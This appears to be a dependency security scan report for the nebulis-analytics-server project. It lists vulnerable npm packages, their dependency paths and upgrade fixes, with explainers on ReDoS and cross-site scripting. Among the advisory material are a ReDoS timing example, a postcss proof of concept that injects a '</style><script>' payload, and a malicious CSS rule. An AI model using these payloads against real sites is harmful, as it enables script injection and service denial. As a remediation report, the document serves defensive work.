The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade lodash to version 4.17.21 or higher.
References
medium severity
- Vulnerable module: micromatch
- Introduced through: yarn@0.27.5, nyc@11.9.0 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › yarn@0.27.5 › micromatch@2.3.11Remediation: Upgrade to yarn@0.28.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nyc@11.9.0 › test-exclude@4.2.3 › micromatch@2.3.11Remediation: Upgrade to nyc@13.0.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-cli@6.26.0 › chokidar@1.7.0 › anymatch@1.3.2 › micromatch@2.3.11
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nyc@11.9.0 › micromatch@3.1.10Remediation: Upgrade to nyc@13.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-cli@6.26.0 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10
Overview
Affected versions of this package are vulnerable to Inefficient Regular Expression Complexity due to the use of unsafe pattern configurations that allow greedy matching through the micromatch.braces() function. An attacker can cause the application to hang or slow down by passing a malicious payload that triggers extensive backtracking in regular expression processing.
Remediation
Upgrade micromatch to version 4.0.8 or higher.
References
medium severity
- Vulnerable module: minimatch
- Introduced through: grunt-sync@0.5.2, sails@0.12.14 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-sync@0.5.2 › glob@4.5.3 › minimatch@2.0.10Remediation: Upgrade to grunt-sync@0.6.2.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-sync@0.5.2 › glob@4.5.3 › minimatch@2.0.10Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › zip-folder@1.0.0 › archiver@0.11.0 › glob@3.2.11 › minimatch@0.3.0
Overview
minimatch is a minimal matching utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the braceExpand function in minimatch.js.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade minimatch to version 3.0.5 or higher.
References
medium severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1Remediation: Upgrade to node-sass@7.0.0.
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to Improper Certificate Validation. Certificate validation is disabled by default when requesting binaries, even if the user is not specifying an alternative download path.
Remediation
Upgrade node-sass to version 7.0.0 or higher.
References
medium severity
- Vulnerable module: postcss
- Introduced through: css-loader@0.25.0
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › postcss@5.2.18Remediation: Upgrade to css-loader@5.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › autoprefixer@6.7.7 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-calc@5.3.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-colormin@2.2.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-convert-values@2.6.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-discard-comments@2.0.4 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-discard-duplicates@2.1.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-discard-empty@2.1.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-discard-overridden@0.1.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-discard-unused@2.2.3 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-filter-plugins@2.0.3 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-merge-idents@2.1.7 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-merge-longhand@2.0.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-minify-font-values@1.0.5 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-minify-gradients@1.0.5 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-minify-params@1.2.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-minify-selectors@2.1.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-normalize-charset@1.1.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-normalize-url@3.0.8 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-ordered-values@2.2.3 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-reduce-idents@2.4.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-reduce-initial@1.0.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-reduce-transforms@1.0.4 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-svgo@2.1.6 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-unique-selectors@2.0.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-zindex@2.2.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › postcss-modules-extract-imports@1.2.1 › postcss@6.0.23Remediation: Upgrade to css-loader@5.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › postcss-modules-local-by-default@1.2.0 › postcss@6.0.23Remediation: Upgrade to css-loader@5.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › postcss-modules-scope@1.1.0 › postcss@6.0.23Remediation: Upgrade to css-loader@5.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › postcss-modules-values@1.3.0 › postcss@6.0.23Remediation: Upgrade to css-loader@5.0.0.
Overview
postcss is a PostCSS is a tool for transforming styles with JS plugins.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in CSS Stringify Output. An attacker can execute arbitrary JavaScript code in the context of the affected web page by submitting crafted CSS containing </style> sequences that are not properly escaped when embedded within HTML <style> tags.
PoC
const postcss = require('postcss');
// Parse user CSS and re-stringify for page embedding
const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }';
const ast = postcss.parse(userCSS);
const output = ast.toResult().css;
const html = `<style>${output}</style>`;
console.log(html);
// <style>body { content: "</style><script>alert(1)</script><style>"; }</style>
//
// Browser: </style> closes the style tag, <script> executes
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade postcss to version 8.5.10 or higher.
References
medium severity
- Vulnerable module: postcss
- Introduced through: css-loader@0.25.0
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › postcss@5.2.18Remediation: Upgrade to css-loader@5.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › autoprefixer@6.7.7 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-calc@5.3.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-colormin@2.2.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-convert-values@2.6.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-discard-comments@2.0.4 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-discard-duplicates@2.1.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-discard-empty@2.1.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-discard-overridden@0.1.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-discard-unused@2.2.3 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-filter-plugins@2.0.3 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-merge-idents@2.1.7 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-merge-longhand@2.0.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-minify-font-values@1.0.5 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-minify-gradients@1.0.5 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-minify-params@1.2.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-minify-selectors@2.1.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-normalize-charset@1.1.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-normalize-url@3.0.8 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-ordered-values@2.2.3 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-reduce-idents@2.4.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-reduce-initial@1.0.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-reduce-transforms@1.0.4 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-svgo@2.1.6 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-unique-selectors@2.0.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-zindex@2.2.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › postcss-modules-extract-imports@1.2.1 › postcss@6.0.23Remediation: Upgrade to css-loader@5.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › postcss-modules-local-by-default@1.2.0 › postcss@6.0.23Remediation: Upgrade to css-loader@5.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › postcss-modules-scope@1.1.0 › postcss@6.0.23Remediation: Upgrade to css-loader@5.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › postcss-modules-values@1.3.0 › postcss@6.0.23Remediation: Upgrade to css-loader@5.0.0.
Overview
postcss is a PostCSS is a tool for transforming styles with JS plugins.
Affected versions of this package are vulnerable to Improper Input Validation when parsing external Cascading Style Sheets (CSS) with linters using PostCSS. An attacker can cause discrepancies by injecting malicious CSS rules, such as @font-face{ font:(\r/*);}.
This vulnerability is because of an insecure regular expression usage in the RE_BAD_BRACKET variable.
Remediation
Upgrade postcss to version 8.4.31 or higher.
References
medium severity
- Vulnerable module: postcss
- Introduced through: css-loader@0.25.0
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › postcss@5.2.18Remediation: Upgrade to css-loader@2.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › autoprefixer@6.7.7 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-calc@5.3.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-colormin@2.2.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-convert-values@2.6.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-discard-comments@2.0.4 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-discard-duplicates@2.1.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-discard-empty@2.1.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-discard-overridden@0.1.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-discard-unused@2.2.3 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-filter-plugins@2.0.3 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-merge-idents@2.1.7 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-merge-longhand@2.0.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-minify-font-values@1.0.5 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-minify-gradients@1.0.5 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-minify-params@1.2.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-minify-selectors@2.1.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-normalize-charset@1.1.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-normalize-url@3.0.8 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-ordered-values@2.2.3 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-reduce-idents@2.4.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-reduce-initial@1.0.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-reduce-transforms@1.0.4 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
